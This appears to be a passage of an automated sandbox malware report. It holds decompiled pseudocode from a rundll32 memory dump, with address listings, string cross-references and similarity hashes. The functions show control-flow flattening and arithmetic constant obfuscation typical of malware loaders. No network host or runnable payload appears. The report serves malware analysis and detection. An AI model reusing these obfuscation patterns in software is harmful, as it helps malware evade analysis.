				signed int _v624;
				signed int _v628;
				signed int _v632;
				signed int _v636;
				signed int _v640;
				signed int _v644;
				signed int _v648;
				signed int _v652;
				void* _t104;
				signed int _t115;
				intOrPtr _t119;
				void* _t132;
				signed int _t135;
				signed int* _t140;

				_push(_a8);
				_t119 = __ecx;
				_push(_a4);
				_push(E029C3DF4);
				_push(__ecx);
				E029C8002(_t104);
				_v636 = 0x7f4ab2;
				_t140 =  &(( &_v652)[4]);
				_v636 = _v636 >> 5;
				_v636 = _v636 ^ 0x5e8f4975;
				_t132 = 0x859695e;
				_v636 = _v636 ^ 0x5e8cb322;
				_v652 = 0xc75be7;
				_v652 = _v652 | 0x32a07091;
				_v652 = _v652 + 0x8f3b;
				_v652 = _v652 + 0x36d8;
				_v652 = _v652 ^ 0x32ea2f85;
				_v628 = 0xa922ec;
				_v628 = _v628 ^ 0x56696efa;
				_v628 = _v628 << 2;
				_v628 = _v628 ^ 0x5b0cc9f4;
				_v608 = 0xa523eb;
				_v608 = _v608 + 0xffffc665;
				_v608 = _v608 ^ 0x00ae58ec;
				_v612 = 0x52db2b;
				_v612 = _v612 << 0xd;
				_v612 = _v612 ^ 0x5b6486ed;
				_v620 = 0x3c4e2e;
				_v620 = _v620 + 0x2cb0;
				_v620 = _v620 ^ 0x003f7045;
				_v616 = 0x4efb4;
				_v616 = _v616 << 9;
				_v616 = _v616 ^ 0x09d730f1;
				_v632 = 0xa3c86f;
				_t121 = 0x6d;
				_v632 = _v632 * 0x5f;
				_v632 = _v632 * 0x63;
				_v632 = _v632 ^ 0x811b4ad6;
				_v648 = 0xe7659b;
				_v648 = _v648 / _t121;
				_v648 = _v648 << 5;
				_v648 = _v648 ^ 0x0042ef60;
				_v640 = 0x3ecbab;
				_v640 = _v640 | 0xfbfcb3dc;
				_v640 = _v640 ^ 0xfbfa3125;
				_v644 = 0x2e11f6;
				_v644 = _v644 * 0x11;
				_v644 = _v644 ^ 0x3e1df24d;
				_v644 = _v644 + 0xb01;
				_v644 = _v644 ^ 0x3d143afb;
				_v624 = 0xed0ae5;
				_v624 = _v624 + 0xffff5ee6;
				_v624 = _v624 ^ 0x00eef7fa;
				_t131 = _v624;
				while(_t132 != 0x1ce8504) {
					if(_t132 == 0x436ea25) {
						_t115 = E029C3DF4(_t121,  &_v564,  &_v604);
						asm("sbb esi, esi");
						_t135 =  ~_t115 & 0x0d58b2fa;
						goto L9;
					} else {
						if(_t132 == 0x54d0cb9) {
							_t121 = _v636;
							_t115 = E029CEF64(_v636);
							_t131 = _t115;
							_t140 = _t140 - 0xc + 0xc;
							if(_t115 != 0xffffffff) {
								_t132 = 0xd68f89e;
								continue;
							}
						} else {
							if(_t132 == 0x859695e) {
								_v600 = _t119;
								_t132 = 0x54d0cb9;
								continue;
							} else {
								if(_t132 == 0xd68f89e) {
									_v564 = 0x22c;
									_t115 = E029D7D2D(_t131,  &_v564, _v612, _v620);
									_pop(_t121);
									goto L8;
								} else {
									if(_t132 != 0xf2737fe) {
										L16:
										if(_t132 != 0x7a687e6) {
											continue;
										}
									} else {
										_t121 =  &_v564;
										_t115 = E029DBEF1( &_v564, _v616, _v632, _t131, _v648);
										_t140 =  &(_t140[3]);
										L8:
										asm("sbb esi, esi");
										_t135 =  ~_t115 & 0x02686521;
										L9:
										_t132 = _t135 + 0x1ce8504;
										continue;
									}
								}
							}
						}
					}
					return _t115;
				}
				E029D9038(_v640, _v644, _t131, _v624);
				_pop(_t121);
				_t132 = 0x7a687e6;
				goto L16;
			}

0x029e2102
0x029e2109
0x029e210b
0x029e2112
0x029e2117
0x029e2118
0x029e211d
0x029e2125
0x029e2128
0x029e212f
0x029e2137
0x029e213c
0x029e2149
0x029e2151
0x029e2159
0x029e2161
0x029e2169
0x029e2171
0x029e2179
0x029e2181
0x029e2186
0x029e218e
0x029e2196
0x029e219e
0x029e21a6
0x029e21ae
0x029e21b3
0x029e21bb
0x029e21c3
0x029e21cb
0x029e21d3
0x029e21db
0x029e21e0
0x029e21e8
0x029e21f7
0x029e21f8
0x029e2201
0x029e2205
0x029e220d
0x029e221b
0x029e2227
0x029e222c
0x029e2234
0x029e223c
0x029e2244
0x029e224c
0x029e2259
0x029e225d
0x029e2265
0x029e226d
0x029e2275
0x029e227d
0x029e2285
0x029e228d
0x029e2291
0x029e229f
0x029e2355
0x029e235e
0x029e2360
0x00000000
0x029e22a5
0x029e22ab
0x029e232e
0x029e2332
0x029e2337
0x029e2339
0x029e233f
0x029e2341
0x00000000
0x029e2341
0x029e22ad
0x029e22b3
0x029e2311
0x029e2315
0x00000000
0x029e22b5
0x029e22bb
0x029e22fa
0x029e2308
0x029e230e
0x00000000
0x029e22bd
0x029e22c3
0x029e2381
0x029e2387
0x00000000
0x00000000
0x029e22c9
0x029e22cd
0x029e22da
0x029e22df
0x029e22e2
0x029e22e6
0x029e22e8
0x029e22ee
0x029e22ee
0x00000000
0x029e22ee
0x029e22c3
0x029e22bb
0x029e22b3
0x029e22ab
0x029e2397
0x029e2397
0x029e2375
0x029e237b
0x029e237c
0x00000000

Strings

Ep?, xrefs: 029E21CB
`B, xrefs: 029E222C

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: Ep?$`B
API String ID: 0-215957162
Opcode ID: cfd7ea2790d59167f81aee5a12e7d798558f95b44d13c4faad269681b472e911
Instruction ID: 1dcdf6f93522e0d244d9b37514a498cc50f56eb6e3159233987900b86b87a306
Opcode Fuzzy Hash: cfd7ea2790d59167f81aee5a12e7d798558f95b44d13c4faad269681b472e911
Instruction Fuzzy Hash: 3B5167729083419FC754DF25D98941BFBF4BBC8B18F445A2DF8E666260D7708A098F87

Uniqueness

Uniqueness Score: -1.00%

Function 029C2176, Relevance: 2.6, Strings: 2, Instructions: 130
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E029C2176() {
				signed int _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _t119;
				intOrPtr _t122;
				signed int _t124;
				signed int _t125;
				signed int _t126;
				signed int _t127;
				intOrPtr _t128;
				void* _t139;
				void* _t142;
				signed int* _t144;

				_t144 =  &_v52;
				_v4 = _v4 & 0x00000000;
				_v12 = 0xe63e31;
				_v8 = 0x76f2a5;
				_v24 = 0x3a9b54;
				_v24 = _v24 | 0x7d558eab;
				_v24 = _v24 ^ 0x7d720cc3;
				_v48 = 0xbd8795;
				_v48 = _v48 << 0xd;
				_v48 = _v48 >> 4;
				_t124 = 0x18;
				_v48 = _v48 / _t124;
				_v48 = _v48 ^ 0x007c1ad7;
				_v32 = 0x5a8b0;
				_t142 = 0x268fed7;
				_t125 = 0x57;
				_v32 = _v32 * 0x29;
				_v32 = _v32 << 0xb;
				_v32 = _v32 ^ 0x40205434;
				_v36 = 0x5149ff;
				_v36 = _v36 / _t125;
				_v36 = _v36 | 0xeb58aec6;
				_v36 = _v36 ^ 0xeb5a8110;
				_v40 = 0x759d73;
				_v40 = _v40 + 0x3d01;
				_v40 = _v40 + 0x8308;
				_v40 = _v40 ^ 0x00756e1b;
				_v52 = 0x168c81;
				_t126 = 0x6a;
				_v52 = _v52 * 0x4d;
				_v52 = _v52 << 0xd;
				_v52 = _v52 / _t126;
				_v52 = _v52 ^ 0x00149837;
				_v16 = 0xa90853;
				_v16 = _v16 >> 7;
				_v16 = _v16 ^ 0x00037f40;
				_v20 = 0x5dd656;
				_v20 = _v20 << 0xe;
				_v20 = _v20 ^ 0x759263b0;
				_v28 = 0x5384f7;
				_v28 = _v28 ^ 0x0dbd18b3;
				_t127 = 0x36;
				_v28 = _v28 / _t127;
				_v28 = _v28 ^ 0x00453bef;
				_v44 = 0x96c51d;
				_v44 = _v44 + 0xffff6766;
				_v44 = _v44 * 6;
				_v44 = _v44 | 0xa7408ab6;
				_v44 = _v44 ^ 0xa7c3e7b8;
				_t128 =  *0x29e5bdc;
				do {
					while(_t142 != 0x268fed7) {
						if(_t142 == 0x93e2ac8) {
							_t119 = E029C37AD(E029D13DB, 0, _v16, _t128, _v20, _v28, _t128, _t128, _v44);
							_t128 =  *0x29e5bdc;
							 *((intOrPtr*)(_t128 + 8)) = _t119;
						} else {
							if(_t142 != 0xc403c24) {
								goto L6;
							} else {
								_push(_t128);
								_t122 = E029C8854(_v32, _v36, _v40, _t128, _t128, _v52);
								_t128 =  *0x29e5bdc;
								_t144 =  &(_t144[6]);
								_t142 = 0x93e2ac8;
								 *((intOrPtr*)(_t128 + 0x20)) = _t122;
								continue;
							}
						}
						L9:
						return 0 | _t128 != 0x00000000;
					}
					_push(_t128);
					_t139 = 0x44;
					_t128 = E029D6F53(_t139);
					_t142 = 0xc403c24;
					 *0x29e5bdc = _t128;
					L6:
				} while (_t142 != 0xba77d77);
				goto L9;
			}

0x029c2176
0x029c2179
0x029c2180
0x029c2188
0x029c2190
0x029c2198
0x029c21a0
0x029c21a8
0x029c21b0
0x029c21b5
0x029c21c4
0x029c21c9
0x029c21cf
0x029c21dc
0x029c21e4
0x029c21f0
0x029c21f8
0x029c21fc
0x029c2201
0x029c2209
0x029c2219
0x029c221d
0x029c2225
0x029c222d
0x029c2235
0x029c223d
0x029c2245
0x029c224d
0x029c225a
0x029c225d
0x029c2261
0x029c226e
0x029c2272
0x029c227a
0x029c2282
0x029c2287
0x029c228f
0x029c2297
0x029c229c
0x029c22a4
0x029c22ac
0x029c22b8
0x029c22bb
0x029c22bf
0x029c22c7
0x029c22cf
0x029c22dc
0x029c22e0
0x029c22e8
0x029c22f0
0x029c22f6
0x029c22f6
0x029c22fc
0x029c236a
0x029c236f
0x029c2378
0x029c22fe
0x029c2300
0x00000000
0x029c2302
0x029c2302
0x029c2315
0x029c231a
0x029c2320
0x029c2323
0x029c2325
0x00000000
0x029c2325
0x029c2300
0x029c237c
0x029c2389
0x029c2389
0x029c2332
0x029c2335
0x029c233c
0x029c233e
0x029c2340
0x029c2346
0x029c2346
0x00000000

Strings

4T @, xrefs: 029C2201
;E, xrefs: 029C22BF

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 4T @$;E
API String ID: 0-2491102183
Opcode ID: f9837d26e7c20ecb8c39635646bc3c027eb21da17dbe1ed0cf6f90c5941b7050
Instruction ID: 8637adbde11d7250dc833ff801a1b2e261afb9c31722bade601e51ac8bd8b74d
Opcode Fuzzy Hash: f9837d26e7c20ecb8c39635646bc3c027eb21da17dbe1ed0cf6f90c5941b7050
Instruction Fuzzy Hash: 1B5186B19083419FD308CF24E58991BBBE1FBC4758F608A1DF4896A260D3B1CA48CF97

Uniqueness

Uniqueness Score: -1.00%

Function 029C5DC3, Relevance: 2.6, Strings: 2, Instructions: 127
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E029C5DC3(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t94;
				signed int _t110;
				signed int _t111;
				void* _t114;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;

				_push(_a8);
				_t126 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t94);
				_v36 = 0xe864b4;
				_t130 = _t129 + 0x10;
				_v36 = _v36 ^ 0x19a40180;
				_v36 = _v36 + 0xffff72dc;
				_t127 = 0;
				_v36 = _v36 | 0x04761beb;
				_t114 = 0xfa3cf77;
				_v36 = _v36 ^ 0x1d7f1004;
				_v40 = 0xa44fec;
				_t110 = 0x5f;
				_v40 = _v40 * 0x49;
				_v40 = _v40 << 4;
				_v40 = _v40 << 6;
				_v40 = _v40 ^ 0x6b26b846;
				_v20 = 0x6acacb;
				_v20 = _v20 | 0xc2914bf2;
				_v20 = _v20 * 0x27;
				_v20 = _v20 ^ 0xb45acc9b;
				_v12 = 0x488f96;
				_v12 = _v12 | 0xdba3e992;
				_v12 = _v12 ^ 0xdbe8d47b;
				_v24 = 0x8ce8aa;
				_v24 = _v24 / _t110;
				_v24 = _v24 << 0xd;
				_v24 = _v24 ^ 0x2f75373d;
				_v32 = 0x61f2af;
				_t111 = 0x36;
				_v32 = _v32 / _t111;
				_v32 = _v32 >> 9;
				_v32 = _v32 >> 7;
				_v32 = _v32 ^ 0x000b016d;
				_v4 = 0x933713;
				_v4 = _v4 | 0xc0d1fc5a;
				_v4 = _v4 ^ 0xc0d5a783;
				_v28 = 0x692bc7;
				_v28 = _v28 ^ 0xe5afd43e;
				_v28 = _v28 + 0x5784;
				_v28 = _v28 + 0xbc12;
				_v28 = _v28 ^ 0xe5c2f926;
				_v16 = 0x6a79c8;
				_v16 = _v16 | 0xa3a2aa41;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x7d5098a8;
				_v8 = 0x8c64c5;
				_v8 = _v8 ^ 0x22e0fe94;
				_v8 = _v8 ^ 0x226a52f6;
				do {
					while(_t114 != 0x1b25205) {
						if(_t114 == 0x843dc48) {
							_t127 = E029D469A(_v20, _v12, _a8, _v24, _v32, _t126);
							_t130 = _t130 + 0x10;
							if(_t127 == 0) {
								_t114 = 0xab47608;
								continue;
							}
						} else {
							if(_t114 == 0xab47608) {
								E029D2F8C();
								_t114 = 0x1b25205;
								continue;
							} else {
								if(_t114 == 0xe7f1833) {
									if(E029CBEF5() != 0) {
										_t114 = 0x843dc48;
										continue;
									}
								} else {
									if(_t114 != 0xfa3cf77) {
										goto L13;
									} else {
										_push(_t114);
										_t125 = 0x38;
										 *0x29e5214 = E029D6F53(_t125);
										_t114 = 0xe7f1833;
										continue;
									}
								}
							}
						}
						goto L14;
					}
					_t92 =  &_v28; // 0x2f75373d
					E029CF699(_v4,  *0x29e5214,  *_t92, _v16, _v8);
					_t130 = _t130 + 0xc;
					_t114 = 0x238b7a0;
					L13:
				} while (_t114 != 0x238b7a0);
				L14:
				return _t127;
			}

0x029c5dca
0x029c5dce
0x029c5dd0
0x029c5dd4
0x029c5dd5
0x029c5dd6
0x029c5ddb
0x029c5de3
0x029c5de6
0x029c5df0
0x029c5df8
0x029c5dfa
0x029c5e02
0x029c5e07
0x029c5e14
0x029c5e23
0x029c5e26
0x029c5e2a
0x029c5e2f
0x029c5e34
0x029c5e3c
0x029c5e44
0x029c5e51
0x029c5e55
0x029c5e5d
0x029c5e65
0x029c5e6d
0x029c5e75
0x029c5e85
0x029c5e89
0x029c5e8e
0x029c5e96
0x029c5ea2
0x029c5eaa
0x029c5eae
0x029c5eb3
0x029c5eb8
0x029c5ec0
0x029c5ec8
0x029c5ed0
0x029c5ed8
0x029c5ee0
0x029c5ee8
0x029c5ef0
0x029c5ef8
0x029c5f00
0x029c5f08
0x029c5f10
0x029c5f15
0x029c5f1d
0x029c5f25
0x029c5f2d
0x029c5f35
0x029c5f35
0x029c5f3f
0x029c5fab
0x029c5fad
0x029c5fb2
0x029c5fb4
0x00000000
0x029c5fb4
0x029c5f41
0x029c5f47
0x029c5f88
0x029c5f8d
0x00000000
0x029c5f49
0x029c5f4f
0x029c5f82
0x029c5f84
0x00000000
0x029c5f84
0x029c5f51
0x029c5f57
0x00000000
0x029c5f5d
0x029c5f65
0x029c5f68
0x029c5f6f
0x029c5f74
0x00000000
0x029c5f74
0x029c5f57
0x029c5f4f
0x029c5f47
0x00000000
0x029c5f3f
0x029c5fc6
0x029c5fd4
0x029c5fd9
0x029c5fdc
0x029c5fe1
0x029c5fe1
0x029c5fee
0x029c5ff6

Strings

=7u/, xrefs: 029C5FC6
=7u/, xrefs: 029C5E7D

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: =7u/$=7u/
API String ID: 0-275303271
Opcode ID: 5c3eed245d4a72b5119458bc2e56e18267ce9b949b95d6c7cef2c5ba47c4f229
Instruction ID: 60e52e6ff7df6257ced2b083e26041afc3fefbf231810ed2b6e45ed0dca4da63
Opcode Fuzzy Hash: 5c3eed245d4a72b5119458bc2e56e18267ce9b949b95d6c7cef2c5ba47c4f229
Instruction Fuzzy Hash: 055189715083019FC759DF20C58552FBBE1FBC8398FA04A2DF59AA6220D3758A49CF83

Uniqueness

Uniqueness Score: -1.00%

Function 029C2DC5, Relevance: 2.6, Strings: 2, Instructions: 123
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E029C2DC5(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* _t95;
				void* _t104;
				signed int _t110;
				signed int _t111;
				void* _t114;
				void* _t128;
				void* _t129;
				signed int* _t132;

				_push(_a16);
				_t128 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t95);
				_v60 = 0xb99bc3;
				_t132 =  &(( &_v64)[6]);
				_t129 = 0;
				_t114 = 0xa40d896;
				_t110 = 0x56;
				_v60 = _v60 / _t110;
				_v60 = _v60 >> 4;
				_v60 = _v60 << 9;
				_v60 = _v60 ^ 0x004cbf12;
				_v40 = 0x360084;
				_v40 = _v40 + 0x3035;
				_v40 = _v40 ^ 0x0037eaf8;
				_v64 = 0x53b5a0;
				_v64 = _v64 | 0x5b5fd615;
				_t111 = 0x23;
				_v64 = _v64 * 0x32;
				_v64 = _v64 ^ 0x5b7ce0d3;
				_v64 = _v64 ^ 0x83c19b88;
				_v56 = 0x4e4d81;
				_v56 = _v56 * 0x7b;
				_v56 = _v56 + 0xffff61d7;
				_v56 = _v56 << 0xb;
				_v56 = _v56 ^ 0xf4fd533a;
				_v36 = 0x6e9cf9;
				_v36 = _v36 / _t111;
				_v36 = _v36 ^ 0x000f50ae;
				_v44 = 0x7f5d5e;
				_v44 = _v44 ^ 0xe658fb3e;
				_v44 = _v44 << 4;
				_v44 = _v44 ^ 0x627361a4;
				_v48 = 0xb9677c;
				_v48 = _v48 + 0x4660;
				_v48 = _v48 + 0xffff4b30;
				_v48 = _v48 | 0x83e0bbbf;
				_v48 = _v48 ^ 0x83fec741;
				_v52 = 0xda572a;
				_v52 = _v52 + 0xffff7d02;
				_v52 = _v52 + 0xe6b4;
				_v52 = _v52 >> 0x10;
				_v52 = _v52 ^ 0x00077c66;
				_v32 = 0x7ebfc0;
				_v32 = _v32 + 0xffff06b4;
				_v32 = _v32 ^ 0x00770540;
				do {
					while(_t114 != 0x3f04ec3) {
						if(_t114 == 0x7986a8e) {
							E029D777F(_v60, _v40,  &_v28, _a4, _v64);
							_t132 =  &(_t132[3]);
							_t114 = 0x3f04ec3;
							continue;
						} else {
							if(_t114 == 0x8f938ca) {
								__eflags = E029DC5F2(_v48,  &_v28, __eflags, _t128 + 0x1c, _v52, _v32);
								_t129 =  !=  ? 1 : _t129;
							} else {
								if(_t114 != 0xa40d896) {
									goto L10;
								} else {
									_t114 = 0x7986a8e;
									continue;
								}
							}
						}
						L13:
						return _t129;
					}
					_t104 = E029DC5F2(_v56,  &_v28, __eflags, _t128 + 0x2c, _v36, _v44);
					_t132 =  &(_t132[3]);
					__eflags = _t104;
					if(__eflags == 0) {
						_t114 = 0x2a27191;
						goto L10;
					} else {
						_t114 = 0x8f938ca;
						continue;
					}
					goto L13;
					L10:
					__eflags = _t114 - 0x2a27191;
				} while (__eflags != 0);
				goto L13;
			}

0x029c2dcc
0x029c2dd0
0x029c2dd2
0x029c2dd6
0x029c2dda
0x029c2dde
0x029c2ddf
0x029c2de0
0x029c2de5
0x029c2ded
0x029c2df6
0x029c2df8
0x029c2e04
0x029c2e09
0x029c2e0f
0x029c2e14
0x029c2e19
0x029c2e21
0x029c2e29
0x029c2e31
0x029c2e39
0x029c2e41
0x029c2e4e
0x029c2e4f
0x029c2e53
0x029c2e5b
0x029c2e63
0x029c2e70
0x029c2e74
0x029c2e7c
0x029c2e81
0x029c2e89
0x029c2e9c
0x029c2ea0
0x029c2ea8
0x029c2eb0
0x029c2eb8
0x029c2ebd
0x029c2ec5
0x029c2ecd
0x029c2ed5
0x029c2edd
0x029c2ee5
0x029c2eed
0x029c2ef5
0x029c2efd
0x029c2f05
0x029c2f0a
0x029c2f12
0x029c2f1a
0x029c2f22
0x029c2f2a
0x029c2f2a
0x029c2f34
0x029c2f5b
0x029c2f60
0x029c2f63
0x00000000
0x029c2f36
0x029c2f38
0x029c2fbc
0x029c2fbe
0x029c2f3a
0x029c2f40
0x00000000
0x029c2f42
0x029c2f42
0x00000000
0x029c2f42
0x029c2f40
0x029c2f38
0x029c2fc2
0x029c2fca
0x029c2fca
0x029c2f7e
0x029c2f83
0x029c2f86
0x029c2f88
0x029c2f8e
0x00000000
0x029c2f8a
0x029c2f8a
0x00000000
0x029c2f8a
0x00000000
0x029c2f93
0x029c2f93
0x029c2f93
0x00000000

Strings

50, xrefs: 029C2E29
`F, xrefs: 029C2ECD

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 50$`F
API String ID: 0-2597214580
Opcode ID: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction ID: 4438c9c5490ae9b1d8e350406c92d835f2f0a44f80223ef60caaf7c1d2f2f9c4
Opcode Fuzzy Hash: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction Fuzzy Hash: 5D5156719083469FC745CF21D88981FBBE5FBD8348F508A2DF59656260E3B5C60A8F87

Uniqueness

Uniqueness Score: -1.00%

Function 029DBFA1, Relevance: 2.6, Strings: 2, Instructions: 89
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029DBFA1(void* __ecx) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _t77;
				void* _t78;
				signed int _t80;
				signed int _t81;
				signed int _t82;
				void* _t93;
				void* _t94;
				signed int* _t96;

				_t96 =  &_v28;
				_v16 = 0xb24a43;
				_v16 = _v16 + 0xffff2aab;
				_v16 = _v16 + 0xffff2dcc;
				_v16 = _v16 ^ 0x00b21ed4;
				_v28 = 0xd8ca9e;
				_v28 = _v28 + 0xffff265e;
				_v28 = _v28 << 0xc;
				_t78 = __ecx;
				_t93 = 0;
				_t80 = 0x31;
				_v28 = _v28 / _t80;
				_v28 = _v28 ^ 0x0297d137;
				_t94 = 0x648d4bb;
				_v20 = 0xfd266b;
				_v20 = _v20 ^ 0xb1696259;
				_t81 = 0x4e;
				_v20 = _v20 / _t81;
				_v20 = _v20 ^ 0x024711d3;
				_v24 = 0x2d9ec1;
				_t82 = 0x7f;
				_v24 = _v24 / _t82;
				_v24 = _v24 << 6;
				_v24 = _v24 ^ 0x0016e3ff;
				_v4 = 0x8a8899;
				_v4 = _v4 >> 1;
				_v4 = _v4 ^ 0x00475248;
				_v8 = 0x6abdea;
				_v8 = _v8 | 0xf23038d4;
				_v8 = _v8 >> 0xb;
				_v8 = _v8 ^ 0x001920be;
				_v12 = 0x435631;
				_v12 = _v12 >> 3;
				_v12 = _v12 + 0x2dca;
				_v12 = _v12 ^ 0x0007bb17;
				do {
					while(_t94 != 0x40c5859) {
						if(_t94 == 0x648d4bb) {
							_t94 = 0xe157c01;
							continue;
						} else {
							if(_t94 == 0xe157c01) {
								_t77 = E029D7E10();
								_t96 = _t96 - 0xc + 0xc;
								_t94 = 0x40c5859;
								_t93 = _t93 + _t77;
								continue;
							}
						}
						goto L7;
					}
					_t93 = _t93 + E029CE05F(_v4, _v8, _v12, _t78 + 4);
					_t94 = 0x24e0ddb;
					L7:
				} while (_t94 != 0x24e0ddb);
				return _t93;
			}

0x029dbfa1
0x029dbfa4
0x029dbfae
0x029dbfb6
0x029dbfbe
0x029dbfc6
0x029dbfcd
0x029dbfd4
0x029dbfe1
0x029dbfe3
0x029dbfe5
0x029dbfea
0x029dbff0
0x029dbff8
0x029dbffd
0x029dc00a
0x029dc016
0x029dc01b
0x029dc021
0x029dc029
0x029dc035
0x029dc038
0x029dc03c
0x029dc041
0x029dc049
0x029dc051
0x029dc055
0x029dc05d
0x029dc065
0x029dc06d
0x029dc072
0x029dc07a
0x029dc082
0x029dc087
0x029dc08f
0x029dc097
0x029dc097
0x029dc0a5
0x029dc0cf
0x00000000
0x029dc0a7
0x029dc0a9
0x029dc0be
0x029dc0c3
0x029dc0c6
0x029dc0cb
0x00000000
0x029dc0cb
0x029dc0a9
0x00000000
0x029dc0a5
0x029dc0ea
0x029dc0ec
0x029dc0f1
0x029dc0f1
0x029dc102

Strings

1VC, xrefs: 029DC07A
HRG, xrefs: 029DC055

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 1VC$HRG
API String ID: 0-1729148703
Opcode ID: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction ID: c5c61bc6f721da8e60e977a251f45166710aefa4e880ff063aa35f412098599e
Opcode Fuzzy Hash: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction Fuzzy Hash: 77319C729083018FC318DE25D94940FBBE1EBC4728F448A5EF8D8A7250D7B59D09CF96

Uniqueness

Uniqueness Score: -1.00%

Function 029D0824, Relevance: 2.6, Strings: 2, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E029D0824(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				void* _t82;
				intOrPtr _t90;
				intOrPtr* _t97;
				signed int _t98;

				_t98 = _a8;
				_push(_a16);
				_t97 = _a12;
				_push(_t97);
				_push(_t98);
				_push(_a4);
				E029C8002(_t82);
				_v32 = _v32 & 0x00000000;
				_v36 = 0xfaccbf;
				_v20 = 0x5784e7;
				_v20 = _v20 * 0x3f;
				_v20 = _v20 >> 2;
				_v20 = _v20 ^ 0x056e35c7;
				_a12 = 0x7b3b67;
				_a12 = _a12 * 0x29;
				_a12 = _a12 + 0x7472;
				_a12 = _a12 * 0x12;
				_a12 = _a12 ^ 0x6346b331;
				_v16 = 0x92c858;
				_v16 = _v16 >> 9;
				_v16 = _v16 | 0xa83b4651;
				_v16 = _v16 ^ 0xa8356086;
				_v12 = 0xbf2562;
				_v12 = _v12 ^ 0xc2878329;
				_v12 = _v12 + 0xffffe558;
				_v12 = _v12 ^ 0xc2346137;
				_v24 = 0xc21db4;
				_v24 = _v24 * 0x61;
				_v24 = _v24 | 0x39ca61f6;
				_v24 = _v24 ^ 0x79c0c527;
				_v28 = 0xd63740;
				_v28 = _v28 + 0x13a3;
				_v28 = _v28 ^ 0x00d2e3ec;
				_v8 = 0x6f261b;
				_v8 = _v8 >> 4;
				_v8 = _v8 + 0xffffca37;
				_v8 = _v8 + 0xffffd788;
				_v8 = _v8 ^ 0x00065791;
				_a8 = 0xe14f3a;
				_a8 = _a8 >> 0xd;
				_a8 = _a8 ^ 0x70b4157a;
				_a8 = _a8 >> 2;
				_a8 = _a8 ^ 0x1c28f253;
				E029CE1EB(_t98,  *((intOrPtr*)(_t97 + 4)), _v20, _a12, _v16, _v12);
				E029D4626( *_t97,  *((intOrPtr*)(_t97 + 4)),  *((intOrPtr*)(_t98 + 0x14)), _v24, _v28, _v8, _a8);
				_t90 =  *((intOrPtr*)(_t97 + 4));
				 *((intOrPtr*)(_t98 + 0x14)) =  *((intOrPtr*)(_t98 + 0x14)) + _t90;
				return _t90;
			}

0x029d082b
0x029d082f
0x029d0832
0x029d0835
0x029d0836
0x029d0837
0x029d083c
0x029d0841
0x029d0847
0x029d084e
0x029d0859
0x029d085c
0x029d0860
0x029d0867
0x029d0872
0x029d0875
0x029d0880
0x029d0883
0x029d088a
0x029d0891
0x029d0895
0x029d089c
0x029d08a3
0x029d08aa
0x029d08b1
0x029d08b8
0x029d08bf
0x029d08ca
0x029d08cd
0x029d08d4
0x029d08db
0x029d08e2
0x029d08e9
0x029d08f0
0x029d08f7
0x029d08fb
0x029d0902
0x029d0909
0x029d0910
0x029d0917
0x029d091b
0x029d0922
0x029d0926
0x029d093c
0x029d0955
0x029d095a
0x029d0960
0x029d0968

Strings

g;{, xrefs: 029D0867
:O, xrefs: 029D0910

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

